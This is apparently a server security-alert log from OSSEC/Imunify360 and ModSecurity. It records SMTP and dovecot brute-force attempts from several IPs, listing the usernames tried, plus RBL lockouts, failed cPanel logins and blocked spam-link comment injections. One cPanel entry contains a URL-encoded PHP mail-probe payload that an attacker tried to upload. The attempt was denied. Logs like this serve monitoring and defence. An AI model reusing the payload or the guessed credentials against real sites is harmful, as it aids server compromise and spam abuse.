abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:15:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:6810: 535 Incorrect authentication data (set_id=sheetal)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 23 18:15:30 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:15:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:5514: 535 Incorrect authentication data (set_id=contab)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 23 18:15:42 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:15:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:8028: 535 Incorrect authentication data (set_id=erp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:15:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:32036: 535 Incorrect authentication data (set_id=bowman)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:15:30 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 23 18:15:56 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:15:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:34140: 535 Incorrect authentication data (set_id=iris)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 18:15:31 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.94.4
country_id: 2635167
description:
[2026-06-23 18:16:01 +0000] info [cpaneld] 217.181.94.4 - sahamtg "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 18:15:32 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:15:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:31966: 535 Incorrect authentication data (set_id=f6)


plugin: modsec
rule: 77350630
name: IM360 WAF: DB injection limit
abuser: 171.231.48.143
country_id: 1562822
domain: lct-togo.tg
description:
IM360 WAF: DB injection limit||ARG:ARGS:comment||Injection:https://www.youtube.com/@qs88sicu\r\nhttps://x.com/qs88sicu\r\nhttps://tooter.in/qs88sicu\r\nhttps://wakelet.com/@qs88sicu\r\nhttps://safechat.com/u/nha.cai.qs88.169\r\nhttps://gravatar.com/qs88sicu\r\nhttps://www.mymeetbook.com/qs88sicu\r\nhttps://www.pinterest.com/qs88sicu/_profile/\r\nhttps://shareyoursocial.com/qs88sicu\r\nhttps://myspace.com/qs88sicu\r\nhttps://500px.com/p/qs88sicu?view=photos\r\nhttps://www.instapaper.com/p/qs88sicu\r\nhttps://band.us/band/103183105/post/1\r\nhttps://protocol.ooo/ja/users/qs88sicu\r\nhttps://audiomack.com/qs88sicu\r\nhttps://hackaday.io/qs88sicu?saved=true\r\nhttps://leetcode.com/u/qs88sicu/\r\nhttps://swag.live/en/u/qs88sicu\r\nhttps://www.halaltrip.com/user/profile/360467/qs88sicu/\r\nhttps://medibang.com/author/28599303/\r\nhttps:


plugin: modsec
rule: 77350576
name: IM360 WAF: DB injection block
abuser: 171.231.48.143
country_id: 1562822
domain: lct-togo.tg
description:
IM360 WAF: DB injection block||ARG:ARGS:comment||Injection:https://www.youtube.com/@qs88sicu\r\nhttps://x.com/qs88sicu\r\nhttps://tooter.in/qs88sicu\r\nhttps://wakelet.com/@qs88sicu\r\nhttps://safechat.com/u/nha.cai.qs88.169\r\nhttps://gravatar.com/qs88sicu\r\nhttps://www.mymeetbook.com/qs88sicu\r\nhttps://www.pinterest.com/qs88sicu/_profile/\r\nhttps://shareyoursocial.com/qs88sicu\r\nhttps://myspace.com/qs88sicu\r\nhttps://500px.com/p/qs88sicu?view=photos\r\nhttps://www.instapaper.com/p/qs88sicu\r\nhttps://band.us/band/103183105/post/1\r\nhttps://protocol.ooo/ja/users/qs88sicu\r\nhttps://audiomack.com/qs88sicu\r\nhttps://hackaday.io/qs88sicu?saved=true\r\nhttps://leetcode.com/u/qs88sicu/\r\nhttps://swag.live/en/u/qs88sicu\r\nhttps://www.halaltrip.com/user/profile/360467/qs88sicu/\r\nhttps://medibang.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 18:16:33 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:16:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:60476: 535 Incorrect authentication data (set_id=risk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:16:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:59794: 535 Incorrect authentication data (set_id=dual)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 23 18:16:44 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:16:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:6990: 535 Incorrect authentication data (set_id=katsura)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:16:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:17260: 535 Incorrect authentication data (set_id=gusti)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 23 18:16:32 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:16:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:48160: 535 Incorrect authentication data (set_id=si)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:16:39 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 23 18:16:48 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:16:53 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:13356: 535 Incorrect authentication data (set_id=vita)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 18:16:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 23 18:17:33 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:17:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:19596: 535 Incorrect authentication data (set_id=sinel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:17:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:41388: 535 Incorrect authentication data (set_id=oksana)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:17:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:53366: 535 Incorrect authentication data (set_id=extranet2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:17:25 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:17:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:35264: 535 Incorrect authentication data (set_id=pascal)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 23 18:17:38 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:17:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:39354: 535 Incorrect authentication data (set_id=pascal)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 18:17:38 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:17:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:46554: 535 Incorrect authentication data (set_id=ibook)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 23 18:17:39 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 18:17:39 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:17:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:28338: 535 Incorrect authentication data (set_id=xiaowei)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:18:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:28786: 535 Incorrect authentication data (set_id=kit)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 18:18:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:19:14 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:18:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:36722: 535 Incorrect authentication data (set_id=beanie)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:18:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:4206: 535 Incorrect authentication data (set_id=azs)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:18:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:59710: 535 Incorrect authentication data (set_id=md5)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:18:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:42594: 535 Incorrect authentication data (set_id=niki)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 18:18:28 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:18:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:17384: 535 Incorrect authentication data (set_id=serverts)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:19:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:40542: 535 Incorrect authentication data (set_id=jpk)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 23 18:19:39 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 18:19:54 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:19:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:35790: 535 Incorrect authentication data (set_id=yamashita)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:19:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:50262: 535 Incorrect authentication data (set_id=uses)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:19:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:26122: 535 Incorrect authentication data (set_id=katherine)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:19:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:44038: 535 Incorrect authentication data (set_id=dual)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 18:19:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:19:33 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:19:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:14942: 535 Incorrect authentication data (set_id=irbis)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:20:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:9498: 535 Incorrect authentication data (set_id=citrix2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 18:20:39 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:20:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:10622: 535 Incorrect authentication data (set_id=praca)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:20:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:4322: 535 Incorrect authentication data (set_id=pat)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:20:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:55772: 535 Incorrect authentication data (set_id=schlesinger)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:20:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:28506: 535 Incorrect authentication data (set_id=schlesinger)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:20:24 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:20:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:5966: 535 Incorrect authentication data (set_id=bryan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 18:20:32 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:20:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:55030: 535 Incorrect authentication data (set_id=kancelaria)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:21:46 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 18:21:32 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 18:21:40 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:21:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:36618: 535 Incorrect authentication data (set_id=amadis)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:21:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:17474: 535 Incorrect authentication data (set_id=jiangyan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.160
country_id: 130758
description:
Jun 23 18:22:16 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:21:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:49914: 535 Incorrect authentication data (set_id=rda)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:21:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:31056: 535 Incorrect authentication data (set_id=horse)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:21:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:34624: 535 Incorrect authentication data (set_id=anna)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:21:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:26286: 535 Incorrect authentication data (set_id=theresa)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-23 18:23:00 +0000] info [webmaild] 102.176.253.226 - comptabilite@ucao-uut.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:23:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:64152: 535 Incorrect authentication data (set_id=webaccess)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:22:28 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 18:22:36 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:22:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:8406: 535 Incorrect authentication data (set_id=smpt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:22:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:45988: 535 Incorrect authentication data (set_id=berzann)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:22:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:1478: 535 Incorrect authentication data (set_id=formations)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:22:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:57176: 535 Incorrect authentication data (set_id=qq)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 18:22:52 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:22:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:10036: 535 Incorrect authentication data (set_id=ratings)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 18:23:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:23:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:48752: 535 Incorrect authentication data (set_id=gw)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:23:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:21518: 535 Incorrect authentication data (set_id=john2)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:23:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:41770: 535 Incorrect authentication data (set_id=cynthia)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 18:23:40 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:23:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:21870: 535 Incorrect authentication data (set_id=kassia)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:23:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:11500: 535 Incorrect authentication data (set_id=fo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:23:54 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:24:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:34144: 535 Incorrect authentication data (set_id=cynthia)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:23:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:58470: 535 Incorrect authentication data (set_id=profiler)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:24:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:13852: 535 Incorrect authentication data (set_id=lg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.45.140
country_id: 2363686
description:
[2026-06-23 18:24:52 +0000] info [webmaild] 196.170.45.140 - kawunyo@wages.tg "GET /cpsess3317733458/3rdparty/roundcube/?_task=mail&_token=hMORQJPf7B5tpGI4OocuwjuzzaNGJBJ6&login=1&post_login=61505017140583 HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 18:24:31 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:24:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:51840: 535 Incorrect authentication data (set_id=james1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 18:24:45 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 23 18:24:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 23 18:24:46 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-23 18:25:23 +0000] info [cpaneld] 102.54.238.57 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
